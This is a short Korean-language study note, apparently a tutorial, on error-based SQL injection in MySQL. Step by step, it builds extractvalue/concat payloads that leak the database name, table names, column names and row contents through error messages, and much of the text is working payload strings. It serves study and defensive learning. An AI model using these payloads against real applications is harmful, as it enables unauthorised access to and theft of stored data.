Error Based SQL Injection은 로직(문법) 에러, SQL 에러가 있을 때 사용할 수 있다.
공격포인트를 찾고 ex) 따옴표를 넣어본다.
Logic Error를 유발할 수 있는 함수 Extractvalue를 사용한다.
그리고 공격 포맷을 만들고 거기에 대입해 sql injection 문법을 만든다.
extractvalue 함수를 만들고
aaa' and extractvalue() and '1'='1
concat 함수는 0x3a 와 aaa를 결합하기 위해 사용한다 0x3a는 :콜론이다. sql에 콜론 등 특수기호가 안 들어가기 때문에 concat을 사용
concat(0x3a, (select 'aaa'))
extractvalue 와 concat을 결합하면 이런 식이 완성된다 이제 빈칸에 넣고 싶은 식을 넣어 완성한다.
aaa' and extractvalue('1',concat(0x3a,(빈칸))) and '1'='1
db 이름 찾기 select database() 그대로 넣어본다
aaa' and extractvalue('1',concat(0x3a,(select database()))) and '1'='1
db에서 테이블 찾기 select table_name from information_schema.tables where table_schema =’db이름’ limit 0,1
aaa' and extractvalue('1',concat(0x3a,(select table_name from information_schema.tables
where table_schema ='db이름' limit 0,1))) and '1'='1
테이블에서 컬럼찾기 select column_name from information_schema.columns where table_name=’테이블명’
aaa' and extractvalue('1', concat(0x3a, (select column_name
from information_schema.columns where
table_name='테이블명' limit 0,1))) and '1'='1
limit 0,1 은 1번째 행 1개만 출력
컬럼 내용 출력 select 컬럼 from 테이블명
aaa' and extractvalue('1', concat(0x3a, (select 컬럼 from 테이블명 limit 0,1))) and '1'='1
여기도 limit 0,1 은 1번째 행 1개만 출력